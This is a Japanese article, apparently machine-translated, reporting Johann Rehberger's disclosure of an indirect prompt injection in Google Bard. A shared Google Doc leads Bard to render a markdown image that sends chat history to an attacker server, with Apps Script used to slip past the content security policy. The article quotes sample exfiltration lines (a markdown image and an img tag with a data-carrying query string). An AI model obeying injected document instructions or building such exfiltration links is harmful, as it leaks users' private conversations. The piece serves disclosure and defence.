Google Bardは「防御を突破」し、自然言語を使ってロックを解除、インジェクションによるデータ漏洩のリスクを示唆

大規模言語モデルは、テキストを生成する際にプロンプ​​トワードに大きく依存します。この攻撃技は、プロンプトワードで学習する機種にとっては「敵の槍で自分の盾を攻撃する」ようなものであり、最も得意な点であると同時に、防御が難しい弱点でもある。

プロンプトワードはシステムからの指示とユーザーからの指示に分かれており、自然言語では両者を区別することが困難です。ユーザーがプロンプトワードを入力するときにシステムの指示を意図的に模倣すると、モデルだけが知っている会話の「秘密」が明らかになる場合があります。

プロンプト インジェクション攻撃にはさまざまな形式がありますが、主に直接プロンプト インジェクションと間接プロンプト インジェクションがあります。直接プロンプト インジェクションは、ユーザーが予期しない動作や有害な動作を誘発しようとして、悪意のある命令をモデルに直接入力した場合に発生します。間接プロンプト インジェクションとは、モデルによって取得または取り込まれる可能性のあるドキュメントに攻撃者が悪意のある命令を挿入し、それによってモデルを間接的に制御または誘導することを指します。

一部のネットユーザーは「システム指示」を使ってGPTにデータを漏洩させている

最近、Google Bard は強力なアップデートを受けました。Bard には拡張機能が追加され、YouTube へのアクセス、フライトやホテルの検索、ユーザーの個人ファイルやメールへのアクセスがサポートされるようになりました。

さらに、Bard は「Google ファミリー バケット」に接続して、Google ドライブ、ドキュメント、メールにアクセスすることもできます。しかし、これはまた、Bard が信頼できないデータを分析し、間接的なヒントの挿入に対して脆弱であることを意味します。つまり、悪意を持った誰かがあなたにメールを送ったり、Google ドキュメントを強制的に共有したりすることで、間接的なプロンプト インジェクション攻撃を行う可能性があるということです。相手がどんなメールやドキュメントを送ってくるかは制御できませんが、Bard は無差別にアクセスするからです。

セキュリティ リスク分析で 20 年の経験を持つ元 Microsoft Azure セキュリティ エンジニアの Johann Rehberger 氏は、Bard の新バージョンを体験し、インジェクション攻撃のプロンプトが表示された場合の Bard のデータ漏洩リスクをテストしました。

元のブログリンク: https://embracethered.com/blog/posts/2023/google-bard-data-exfiltrate/?cnotallow=53578cc8c5c0a6a19c571a1fa6bcab85

ヨハンはまず、即時注入の実現可能性を素早く検証しました。彼はバード氏に古い YouTube 動画を分析させ、Google ドキュメントを使用してテストしました。その結果、バード氏は彼の追加の指示に従ったことがわかり、次に実施するテストの実現可能性が証明されました。

Bard の脆弱性: イメージ Markdown インジェクション

バードにキューを注入できることを知った後、ヨハンはさらなる研究を始めました。

LLM アプリケーションの一般的な脆弱性は、ハイパーリンクや画像をレンダリングすることによってチャット履歴が漏洩することです。問題は、これが Google Bard にどのように適用されるかということです。

Google のビッグ モデルがテキストを返す場合、マークダウン要素を返すことができ、Bard はそれを HTML としてレンダリングします。これには、画像をレンダリングする機能も含まれます。

Google のビッグモデルが次のようなテキストを返すと想像してください。

 ![Data Exfiltration in Progress](https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION])

これは、src 属性が攻撃者のサーバーを指す HTML イメージ タグとしてレンダリングされます。

 <img src="https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION]">

ブラウザは自動的に URL に接続し、ユーザーの操作なしで画像を読み込みます。 LLM の力により、チャットのコンテキストで以前のデータを要約したりアクセスしたりして、それに応じて URL に追加することができます。

エクスプロイトを作成する際に、ヨハンは会話の履歴を読み取り、その履歴を含むハイパーリンクを形成するプロンプト インジェクション ペイロードをすぐに開発しました。ただし、Google のコンテンツ セキュリティ ポリシー (CSP) により、画像はレンダリングされません。これは攻撃者にとって難しい問題となります。

コンテンツセキュリティポリシーのバイパス

攻撃者が制御するサーバーから画像をレンダリングするのは簡単ではありません。 Google のコンテンツ セキュリティ ポリシーにより、任意のソースからの画像読み込みが防止されます。 CSP には *.google.com や *.googleusercontent.com などのオリジンが含まれており、かなり広範囲にわたります。つまり、それを回避する方法があるはずだということです。

調査の結果、Johann は CSP を回避できる可能性がある Google Apps Script について知りました。

Apps Scripts は Office のマクロに似ており、URL 経由で呼び出して、script.google.com (または googleusercontent.com) ドメインで実行できます。

この方法では、Bard Logger を Apps Script で実行できます。このロガーは、呼び出し URL に追加されたすべてのクエリ パラメータを、流出先となる Google ドキュメントに書き込みます。

最初、ヨハンはこれは不可能だと思っていましたが、Apps Script UI を数回クリックした後、認証を必要としない設定を見つけました。

次に、すべての準備が整いました。

• Google Bard が拡張機能データによるプロンプトの間接的な挿入に対して脆弱であることが確認されました
• Google Bardには、画像のゼロクリックレンダリングを可能にする脆弱性がある
• 注入手順を記した悪意のあるGoogleドキュメント
• 画像の読み込み時にデータを受信する google.com 上のログ エンドポイント。

漏洩プロセス

ヨハンは、バードにデータを漏洩させた経緯の全容を明かした。

オリジナル動画リンク: https://www.youtube.com/watch?v=CKAED_jRaxw&t=4s

まずは、バードとの日常生活についてお話ししましょう。

ユーザーは Google Doc (The Bard2000) にアクセスし、攻撃者がコマンドを挿入して画像をレンダリングできるようになりました。

攻撃者は、Apps Script のスクリプトを介して Google ドキュメントにデータを受け取りました。

以下はヒント インジェクションに関する Johann の Google ドキュメントです。

Googleの修正

このセキュリティ問題は、2023 年 9 月 19 日に Google VRP に報告されました。

10月19日、ヨハンはEkoparty 2023でプレゼンテーションをしたいと考えていたため、脆弱性について質問しました。 Google はこれが修正されたことを確認しました。 Google がどのような修正を実施したかは不明です。ただし、CSP は変更されず、引き続き画像をレンダリングできます。そのため、URL にデータが挿入されないようにするために、何らかのフィルタリングが行われている可能性があります。